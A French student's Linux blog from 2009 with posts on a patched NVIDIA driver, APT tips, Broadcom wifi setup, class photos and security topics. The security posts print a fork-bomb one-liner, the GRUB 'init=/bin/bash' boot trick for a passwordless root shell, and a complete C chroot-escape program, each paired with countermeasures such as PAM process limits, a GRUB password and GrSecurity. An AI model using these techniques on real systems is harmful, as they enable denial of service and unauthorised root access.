[Linux] Driver graphique nvidia optimisé 3 novembre 2009
Posted by Nassim in Hardware, Linux.Tags: 3d, compiz, driver, graphique, Linux, linuxdz, nvidia, optimiser, patch
add a comment

J’ai dernièrement patché le driver nvidia avec un bout de code trouvé dans un coin de la toile, visiblement il se montre efficace sur ma carte graphique Nvidia GeForce Go 7400 (pour laptop), sous glxgears j’ai une légère amélioration d’une 100ène FPS à peu près. Il semblerait néanmoins que ce patch soi t plus efficace sur les ancienne cartes graphiques nvidia, il permettrait ainsi de régler le problème de saccades sous Compiz.
Pour installer le patch, il vous faut tout d’abord télécharger le pilote nvidia depuis le site officiel. Puis créez un fichier patch.txt dans lequel vous copierez ceci :
diff -ru usr/src/nv/nv.c usr/src/nv.572433/nv.c
— usr/src/nv/nv.c 2009-05-27 03:20:53.000000000 -0700
+++ usr/src/nv.572433/nv.c 2009-07-05 11:31:27.635210006 -0700
@@ -888,6 +888,7 @@
unsigned int pat1, pat2, i;
U008 PAT_WC_index;+#if 0 /* disabled */
if (!test_bit(X86_FEATURE_PAT,
(volatile unsigned long *)&boot_cpu_data.x86_capability))
{
@@ -895,6 +896,7 @@
“NVRM: CPU does not support the PAT, falling back to MTRRs.\n”);
return NV_PAT_MODE_DISABLED;
}
+#endifNV_READ_PAT_ENTRIES(pat1, pat2);
PAT_WC_index = 0xf;
Maintenant, vous allez patcher le driver télécharger avec ce patch, pour cela utilisez la commande :
# sh NVIDIA-Linux-xXX-XXX.XX-pkg1.run –apply-patch patch.txt
Notez que le # désigne le prompt, il ne faut pas le taper, quant aux X ils désignent des chiffres relatifs à la version du pilote, il faudra donc les remplacer selon la version téléchargée.
Le résultat de cette commande est un fichier qui ressemble à ceci :
NVIDIA-Linux-x86-190.42-pkg1-custom.run
Le fichier généré porte quasiment le même nom que le pilote que vous avez téléchargé à la différence qu’il y a la mention” custom” qui signifie “personnalisé”.
Voilà, vous pouvez maintenant procéder à son installation :
sh NVIDIA-Linux-x86-190.42-pkg1-custom.run
Important :
1/ Pensez à désinstaller le driver Nvidia déjà présent sur votre machine (utilisez votre gestionnaire de paquetage pour cela).
2/ Je décline toute responsabilité vis-à-vis des problèmes liés à l’utilisation de ce driver patché et/ou aux désagréments rencontrés suite à la désinstallation du driver nvidia déjà présent.
[Linux] Fork bombing, l’art de faire crasher Linux ! 3 novembre 2009
Posted by Nassim in Linux, Sécurité.Tags: bash, console, crash, fork, Linux, linuxdz, pam, plantage, Sécurité, shell
3 comments

Les cours se suivent l’un après l’autre et parfois on découvre des choses passionnantes. Dernièrement en étudiant la notion de fork (ou plutôt devrais-je dire “en re-étudiant” puisque j’avais déjà étudié cela durant mon précédent cursus) j’ai eu une idée lumineuse (machiavélique) qui se résume à utiliser des forks pour saturer le système et ainsi le faire planter.
Quelques minutes plus tard et après avoir tapé quelques lignes de code en C, j’ai obtenu le résultat escompté, c’est-à-dire un joli plantage, pour aller plus loin dans le sujet j’ai googlé un peu et là je suis tombé sur un code merveilleux, d’une beauté rare ! Un petit code en bash à taper directement dans sa console pour faire planter Linux, c’est instantané et radical !
Voici donc le code magic :
:() { : | : & };:
Cela peu paraitre fou mais ces quelques caractères font réellement planter le PC ! Seule solution pour reprendre la main : redémarrer à l’aide du bouton d’arrêt!
Ceux qui, comme moi, ont étudié et codé un peu en bash, ont normalement compris ce qui se cache dernière cette série de symboles… Non ?! Vous ne comprenez pas ?!?! Ok, alors je vais expliquer le code par petits bouts :
:() Cette syntaxe bash indique que l’on créé une fonction nommée “:“.
{ Cette accolade ouvrante marque le début du contenu de la fonction.
: | : & Ceci est le corps de la fonction, on appelle la fonction “:” en elle-même (récursivité) et on la pipe avec elle même, le tout sera exécuté en tâche de fond.
} Cette accolade fermante indique la fin du contenu de la fonction.
;: Le point virgule en console sert de séparateur entre deux commandes, le “:” indique qu’on lance la fonction “:” qu’on a précédemment défini.
En résumé, ce qu’il y a avant le “;” sert à définir notre fonction et ce qu’il y a après le “;” est l’appel de la fonction définie. Le résultat est un fork exponentiel qui va très rapidement saturer la mémoire (cela foudroie instantanément mon laptop équipé d’un dual core 1,6Ghz et d’1Go de DDRII).
Bien entendu, étant futur administrateur système et réseau et passionné de sécurité informatique, j’ai aussi cherché à savoir comment se protéger de ce genre de pratique, mine de rien ce petit truc là que je vous montre dans ce billet permet à un utilisateur ayant des privilèges standards de faire planter la machine sans utiliser de commandes particulières, vous imaginez ça sur un serveur de production ?
Donc j’ai pu constater qu’un des moyens de protéger son système est d’utiliser PAM, il faut donc éditer le fichier /etc/security/limits.conf pour limiter le nombre de processus que peut lancer un utilisateur.
Il doit aussi y avoir des patchs pour le noyau permettant de sécuriser ce phénomène mais comme j’ai un examen assez complexe demain (sémaphores et compagnie), je n’ai pas eu le temps de chercher d’avantage. Néanmoins, je vous tiens au courant et je vous dis à très bientôt pour de nouvelles aventures !
[Linux] Sécuriser GRUB 20 octobre 2009
Posted by Nassim in Linux, Sécurité.Tags: bash, bootloader, bsd, gnu, grub, hacking, Linux, linuxdz, passwd, protection, root, Sécurité
2 comments

Les cours s’enchainent de manière soutenue et ils sont de plus en plus intéressants. Il faut dire que certains de nos profs sont des pointures dans le domaine du libre, je pense notamment à Lucas Nussbaum qui est un développeur Debian (mainteneur officiel des packages de Perl sous Debian et Ubuntu) ainsi que Laurent Vallar qui est membre de la team Linuxfr.org.
Aujourd’hui on a eu droit en cours à une petite parenthèse au sujet de la sécurité de GRUB, Mr Nussbaum nous a montré comme il était facile d’exploiter GRUB dans sa configuration par défaut pour avoir accès à un système sans mot de passe root ni compte utilisateur.
La méthode qui nous a été décrite est affreusement simple du moment qu’on n’a accès physique à la machine, il suffit lors de l’affichage du menu de sélection de GRUB de sélectionner l’entrée de la distribution Linux puis de taper “e” pour éditer cette entrée, on ajouter à la fin de la ligne débutant par kernel la commande suivante :
init=/bin/bash
Attention à bien laisser un espace entre le texte déjà présent dans la ligne et ce qu’on y ajoute. Il ne faut pas que cela soit coller !
Une fois cette modification faite, on valide en tapant sur “Entrée” puis on boot en pressant la touche “b”. Et là miracle, au bout de quelques seconde on arrive sur un shell bash tout beau sans qu’aucune identification ne soit requise. A partir de là on peut imaginer effectuer tout un tas d’action comme modifier le mot de passe d’un utilisateur à l’aide de la commande passwd. Notez d’ailleurs que cette technique est parfaitement utilisable quand vous avez oublié votre mot de passe root par exemple.
Maintenant voyons comment améliorer la sécurité de notre GRUB et du PC de manière générale :
- Mettre un mot de passe au BIOS pour éviter les modifications de celui-ci.
- Modifier les séquences de boot de façon à ce que la machine ne boot que sur le disque dur, pensez pour cela à complètement désactiver les autres périphériques de boot car se contenter de mettre le disque dur en première position dans la séquence de boot ne suffit pas, un hacker peut très bien sélectionner un autre périphérique de boot avec certains raccourcis comme F2, F10 ou F12 (tout dépend du matériel).
- Mettre un cadenas au chassie du PC (ou l’enfermer dans une case du bureau) pour empêcher un accès à l’intérieur de la machine.
- Protéger GRUB à l’aide d’un mot de passe :
Pour mettre un mot de passe à grub il va tout débord falloir générer un hash md5 du mot de passe que vous désirez utiliser, pour cela il faut passer par l’utilitaire grub-md5-crypt :
[nassim@Laptop_Nassim ~]$ grub-md5-crypt
Password:
Retype password:
$1$XF1ZG/$Hry.mmJjvlJ1DeH4/4EG9.
La chaine de caractère en vert est votre mot de passe en crypté, vous devez le copier. Il ne reste plus qu’à éditer le fichier menu.lst de Grub et y insérer la ligne suivante au niveau des configurations générales (et non à la fin du fichier) :
password –md5 MotDePasseCrypté
Pour activer la protection des différentes entrées de Grub, il faut modifier chaque entrée du menu.lst en ajoutant le terme lock en dessous de leur titre, comme dans cet exemple :
# (0) Arch Linux
title Arch Linux
lock
root (hd0,5)
kernel /boot/vmlinuz26 root=/dev/disk/by-uuid/af698b50-2fab-4465-9e75-94de78fca8b2 ro vga=792
initrd /boot/kernel26.img
Voilà, désormais lors du lancement de grub vous ne pourrez ni éditer ni lancer une entrée (démarrer Linux) dans avoir pressé la touche “p” puis avoir saisi votre mot de passe.
J’avoue Personnellement, je trouve que cette protection n’est pas très pratique, cela devient vite fatiguant de devoir saisir son mot de passe à chaque démarrage, je recommande donc cette manipulation uniquement pour les machines qui nécessites réellement un soin très particulier en terme de sécurisation (serveur, ordinateur ayant des données sensibles…etc).
[Linux|Jeux] Warsow 11 octobre 2009
Posted by Nassim in Linux, Windows.Tags: archlinux, cell-shading, debian, fps, games, gnu, jeux, jouer, lan, Linux, linuxdz, opensource, play, réseau, warsow
2 comments
Warsaw est un jeu gratuit de type FPS disponible sous Linux et adoptant un style graphique proche des bandes dessinées (cel-shading).
La qualité du jeu est vraiment excellente, sa jouabilité est irréprochable et il est doté de quelques particularités résidant dans un système de double munitions (weak ammo et strong ammo) ainsi qu’un gameplay intégrant des mouvements spéciaux (pointes de vitesse, rebonds sur les murs, course sur les murs style Prince Of Persia…etc.) .
Les modes de jeux sont nombreux, on retrouve les classiques “Death Match”, “Team DeachMatch”, “Capture The Flag” mais aussi des modes plus spécifiques comme “Dual” où deux joueurs s’affrontent, “Race” axé rapidité, “Clan Arena”, “Duel Arena” et “Instagib”. Il est possible de jouer en local grâce à un système de bots inclus nativement.
Voici quelques captures d’écran :



Pour installer Warsow utilisez le gestionnaire de paquetage de votre distribution Linux (à noter que la dernière version du jeu est la 0.5) ou téléchargez le jeu depuis son site officiel : http://www.warsow.net
Pour finir, sachez que Warsow est aussi disponible sous Windows et Mac OS.
Dans un prochain billet, je traiterai de l’installation d’un serveur dédié Warsow tel que celui que j’ai mis en place dans notre salle de cours à l’institut.
tp://fr.wikipedia.org/wiki/Jeu_de_tir_subjectifc
[Sécurité/Linux] Chroot Break 4 octobre 2009
Posted by Nassim in Linux, Sécurité.Tags: évation, chroot, faille, gnu, grsecurity, hacking, Linux, linuxdz, piratage, Sécurité, unix
1 comment so far

Derrière ce titre original se cache un billet traitant de l’évasion d’un chroot sous GNU/Linux, sujet pour lequel je me suis très fortement inspiré de ce que j’ai vu récemment en cours.
De plus en plus de personnes procèdent au compartimentage des applications de leur serveur à l’aide de l’outil chroot, le but de cette manipulation étant de limiter l’impacte du piratage d’une des applications (services) du serveur en isolant les programmes les uns les autres. Ainsi, si un hacker obtient un accès via un service X, il se trouvera enfermer dans une cage ce qui l’empêchera d’infecter le reste du système, la sécurité globale reste donc préservée.
Cela dit, les gens savent moins souvent que la commande chroot n’a pas pour vocation première de sécuriser un système en mettant en place des cages. De nombreuses techniques permettent en effet de s’échapper d’un chroot et d’avoir ainsi accès à l’ensemble du système.
Voici un petit programme rédigé en C qui permet d’outrepasser un chroot :
/**
* Programme en C permettant d’outrepasser un chroot.
* Auteur : Lucas Nussbaum – IUT Charlemagne Nancy2, France.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
int main() {
/* On se positionne a la racine du chroot */
if (chdir(“/”) == -1) { perror(“chdir”); }
/* On cree un repertoire ‘foo’ et un chroot dedans */
if (mkdir(“/foo”, 0755) == -1) { perror(“mkdir”); }
if (chroot(“/foo”) == -1) { perror(“chroot”); }
/* A ce moment la, la racine du processus est /foo, mais le repertoire courant du processus pointe en dehors du chroot.
On fait remonter le repertoire courant. */
if (chdir(“../../../../..”) == -1) { perror(“chdir”); }
/* On execute un shell */
system(“/bin/bash”);
return 0;
}
Deux remarques au sujet de ce code mis au point par mon enseignant :
- Il requière les privilèges root.
- Il requière l’accès à un compilateur C ou d’avoir la possibilité d’exécuter un programme
Ce programme exploite l’appel système chroot pour casser une prison. La démarche se résume à accéder à la racine du chroot, à créer un répertoire et à chrooter celui-ci à l’aide d’un appel système en langage C. Le fait de chrooter ce répertoire va modifier le répertoire racine du processus mais pas le répertoire courant qui se retrouve du coup en dehors du nouveau chroot… on est ainsi libre ! Il suffit dès lors de remonter plusieurs répertoire jusqu’à se retrouver à la racine “/” et de lancer un shell bash pour avoir un accès complet au système.
D’autres méthodes existes pour outrepasser un chroot. On peut notamment utiliser la commande MAKEDEV pour des devices sda* et en suite les monter et avoir ainsi accès à l’ensemble du disque dur. Il est aussi possible de passer via /proc qui contient diverses informations sur les processus courants du système.
Vous avez néanmoins bien compris que ces méthodes requièrent les droits root pour pouvoir êtres exploitées, le pirate devra donc par exemple passer via un faille du kernel pour obtenir ces privilèges.
Lors du TP qui traitait de ce sujet, le programme mentionné ci-dessus n’a pas fonctionné (pourtant lancé en root) sur mon serveur basée sur Debian, la raison à cela est que j’utilise un noyau patché avec GrSecurity qui inclus certains renforcements pour chroot.
D’ailleurs, j’essaierai prochainement de rédiger un billet traitant des dispositifs que j’ai mis en place sur mon serveur pour le sécuriser.
[Debian] Bon APT 4 octobre 2009
Posted by Nassim in Linux.Tags: apt, apt-cache, apt-file, apt-get, deb, debian, gnu, gnu/linux, Linux, linuxdz, package, paquet, paquetage, sources.list
1 comment so far
Désolé mais à cette heure saugrenue à laquelle je rédige ce billet je n’ai pas eu de meilleure idée de titre que celui-ci.
Bon, cela fait maintenant quelques semaines que j’ai repris les cours et qu’à mon grand désespoir d’Archlinuxien je bouffe du Debian à longueur de journée et j’ai donc décidé de rédiger un petit billet au sujet d’APT que je commence à maitriser.
Voici donc quelques « astuces » sous APT :
- Sélectionner les meilleurs miroirs :
Il est intéressant de sélectionner les miroirs les plus rapides pour optimiser les temps de téléchargement des paquets avec APT. Cette opération peut être effectuée judicieusement à l’aide de l’application netselect.
Installation de netselect :
apt-get install netselect
Il vous suffit maintenant de lancer la commande netselect suivie d’une liste de miroirs (séparés par des espaces) et la commande renverra le miroir le plus rapide. Vous pouvez trouver la liste complète des miroirs ici : http://www.debian.org/mirror/mirrors_full.
- Rechercher un paquet :
Si vous recherchez un paquet dont vous ne connaissez pas le nom exacte, vous pouvez utiliser la commande :
apt-cache search nomDuPaquet
Cette commande effectuera une recherche sur le nom des paquets et leur description. Si vous désirez restreindre la recherche aux noms des paquets uniquement, vous pouvez utiliser la commande :
apt-cache search -n nomDuPaquet
- Afficher les informations d’un paquet :
Vous pouvez afficher les informations d’un paquet (descriptions, dépendances…etc) en utilisant la commande :
apt-cache showpkg nomDuPaquet
- Déterminer à quel paquetage appartient un fichier :
Une fonction qui s’avère cruciale lors de certaines pannes, cela permet par exemple de pouvoir restaurer un fichier corrompu en réinstallant le paquetage correspondant.
La commande à utiliser est :
apt-file search nomDuFichier
Il est aussi possible de lister l’ensemble des fichiers d’un paquet particulier :
apt-file list nomDuPaquet
Il est important de noter qu’apt-file doit être installé car il n’est pas disponible par défaut, son installation s’effectue de cette manière :
apt-get install apt-file
apt-file update
Voilà… j’essairai d’enrichir ce billet prochainement.
[Photos] ASRALL 17 septembre 2009
Posted by Nassim in Non classé.Tags: archlinux, asrall, bsd, charlemagne, debian, gnu, gnu/linux, gpl, iut, Linux, opensource
3 comments
Nous avons commencé les cours d’ASRALL cette semaine, nous somme assez nombreux cette année (29 étudiants) mais heureusement le nombre de machines est suffisant. Les membres de la promotion sont sympathique, il y à une excellente ambiance et surtout un cadre de travail super agréable et très motivant.

Au fond de notre salle se trouve un ensemble de PC en libre service, nos jouets ! On peut s'en servir pour différents tests et expérimentations

A droite ma station de travail (XFCE - Debian Testing pour la plus grande joie de mon binôme) et à gauche mon laptop (KDE4 - Archlinux). Sur nos laptops ont peut soit se connecter via wifi soit via ethernet

Ici mon ami Seb entrain de s'adonner aux macro sous Emacs (équipé d'un MacBook qui tourne sous Debian/XFCE ^^)
Voilà… j’espère publier de nouvelles photos très prochainement, notamment, celles du serveur que je compte déployer dès demain sur une des machines qui se trouvent au fond de la salle. J’hésite toujours sur le choix d’un OS/Distrib mais je crois que je vais essayer FreeBSD.
[Stage] Photos chez Ineodev 21 août 2009
Posted by Nassim in Non classé.Tags: bee, beelinux, gnu/linux, ineodev, informatique, Linux
7 comments
Mon stage chez INEODEV tire à sa fin, j’ai donc saisi l’occasion pour prendre des photos des lieux, ne soyez pas surpris de n’apercevoir aucun individu sur les photos, il ne s’agit pas de censure, c’est juste que toute l’équipe était dans la cour pour organiser un barbecue.

Lieu de travail des responsables du "Contrôle Qualité".

Bureau d'une des charmantes femmes qui travaillent chez Ineodev.

Bureau du CTO

La ruche; l'espace des développeurs !
Voilà, je n’ai pas tout pris en photo… la prochaine fois je prendrai des photos de la salle de réunion et du coin détente avec l’écran HD géant et la petite Wii ^^
[Linux] Installer carte wifi broadcom 3 juillet 2009
Posted by Nassim in Hardware, Linux.Tags: archlinux, broadcom, carte, driver, fedora, installer, Internet/Reseaux, laptop, Linux, ubuntu, wifi, wireless
add a comment

De nombreux laptop sont équipés de cartes wifi de marque Broadom. Malheureusement pour des raisons de droits fermés, le driver de ces cartes wifi n’est pas inclus dans de nombreuses distributions.
Nous allons voir dans ce billet comment installer en quelques manipulations votre carte wifi de marque Broadcom.
Pour commencer vérifier la présence du logiciel b43-fwcutter sur votre distribution, s’il n’est pas présent veuillez l’installer à l’aide de votre gestionnaire de paquetage (yum, apt-get, pacman… ).
En gros son installation sous fedora/red hat/centOS/Bee Linux se fait via la commande :
yum install b43-fwcutter
Sous Debian/Ubuntu via la commande :
apt-get install b43-fwcutter
et enfin sous mon archlinux adorée avec la commande :
pacman -S b43-fwcutter
Voilà… maintenant il faut télécharger le fichier broadcom-wl pour en extraire le frimware à l’aide de b43-fwcutter, pour cela ouvez une console et tapez les commandes suivantes :
# su -
(entrez le mot de passe root si besoin)
# wget -N http://mirror2.openwrt.org/sources/broadcom-wl-4.150.10.5.tar.bz2
# tar xjf broadcom-wl-4.150.10.5.tar.bz2
# b43-fwcutter -w /lib/firmware broadcom-wl-4.150.10.5/driver/wl_apsta_mimo.o
Notes :
- Si vous êtes sous Ubuntu (ou variante) le “su -” ne marche pas donc précédez la dernière commande par “sudo”.
- Le # n’est pas à taper bien entendu !
Voilà… après un redémarrage votre carte wifi sera opérationnelle, c’était simple non ? ;-)
[Linux] YaKuake : le terminal au bout des doigts 12 mai 2009
Posted by Nassim in Linux.Tags: application, console, gnu, guake, kde, Linux, opensource, qt, shell, terminal, yakuake
add a comment
YaKuake est un petit logiciel sous GNU/Linux permettant d’avoir un shell magique qui s’affiche immédiatement quand on presse la touche F12 (touche configurable). Le termial apparait depuis le haut de l’écran un peu comme la console du jeu Quake, ses dimensions et son apparence (couleurs, polices…) sont paramétrables.

YaKuake sous KDE 4.2 (ArchLinux)
L’application est codée en QT donc plutôt destinée à KDE, si vous désirez une application du même style pour Gnome il y a Guake, mais malheureusement celui-ci ne semble pas gérer une vraie transparence pour le fond.

